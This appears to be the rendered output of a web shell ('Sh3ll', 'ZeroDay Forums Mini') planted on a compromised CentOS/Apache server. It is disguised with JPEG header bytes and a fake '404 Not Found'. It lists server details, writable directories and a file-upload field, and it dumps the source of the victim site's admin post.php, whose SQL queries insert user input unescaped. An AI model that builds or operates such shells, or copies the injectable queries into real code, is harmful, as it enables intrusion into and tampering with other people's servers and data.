����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/admin.adimi/code/management/infotratruoc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/admin.adimi/code/management/infotratruoc/post.php
<?php
$v_infotratruoc_id = 0;
if(isset($CORE->input['infotratruoc_id']) && $CORE->input['infotratruoc_id']>0){
    $v_infotratruoc_id = $CORE->input['infotratruoc_id'];
}
if($v_infotratruoc_id==0) {
    $row_check = $DB->get_colum_tb('tb_infotratruoc');
    $row_check['infotratruoc_ngay'] = date('d-m-Y');

}else{
    $row_check = $DB->fetch_row($DB->query("SELECT * FROM tb_infotratruoc WHERE infotratruoc_id='$v_infotratruoc_id' "));
    $row_check['infotratruoc_ngay'] = date('d-m-Y',strtotime($row_check['infotratruoc_ngay']));
}
if(isset($CORE->input['submitbt'])) {
    $f = $CORE->input['f'];
    $txt_infotratruoc_ngay = date('Y-m-d',strtotime($f['infotratruoc_ngay']));
    $v_infotratruoc_sotien = preg_replace('/[^0-9]/', '',$f['infotratruoc_sotien']);
    $v_total = $v_infotratruoc_sotien*intval($f['infotratruoc_soluong']);
    if(intval($f['infotratruoc_id'])==0){
        $arr_insert = array(
            'infotratruoc_doitac'=>$f['infotratruoc_doitac'],
            'infotratruoc_ngay'=>$txt_infotratruoc_ngay,
            'infotratruoc_key'=>$f['infotratruoc_key'],
            'infotratruoc_typenap'=>$f['infotratruoc_typenap'],'infotratruoc_content'=>$f['infotratruoc_content'],
            'infotratruoc_note'=>$f['infotratruoc_note'],
            'infotratruoc_sotien'=>$v_infotratruoc_sotien,'infotratruoc_soluong'=>$f['infotratruoc_soluong'],
            'infotratruoc_total'=>$v_total,
            'time_post'=>time(),
            'user_post'=>$ob_user->user_name);
        $v_infotratruoc_id = $DB->do_insert('tb_infotratruoc',$arr_insert);
        $print->refresh('?act=management&code=infotratruoc');
    }else{
        $v_infotratruoc_id = intval($f['infotratruoc_id']);

        $row_check = $DB->fetch_row($DB->query("SELECT * FROM tb_infotratruoc WHERE infotratruoc_id='$v_infotratruoc_id' "));

        $DB->query("UPDATE tb_infotratruoc SET 
                           infotratruoc_doitac='".$f['infotratruoc_doitac']."',
                           infotratruoc_ngay='".$txt_infotratruoc_ngay."', 
        infotratruoc_key='".$f['infotratruoc_key']."',
        infotratruoc_typenap='".$f['infotratruoc_typenap']."',
        infotratruoc_content='".$f['infotratruoc_content']."',
        infotratruoc_note='".$f['infotratruoc_note']."',
        infotratruoc_sotien='".$v_infotratruoc_sotien."',
        infotratruoc_soluong='".$f['infotratruoc_soluong']."',
        infotratruoc_total='".$v_total."'
        WHERE infotratruoc_id='".$v_infotratruoc_id."'
         ");

        $print->refresh('?act=management&code=infotratruoc&type=post&infotratruoc_id='.$v_infotratruoc_id);
    }
}
?>

ZeroDay Forums Mini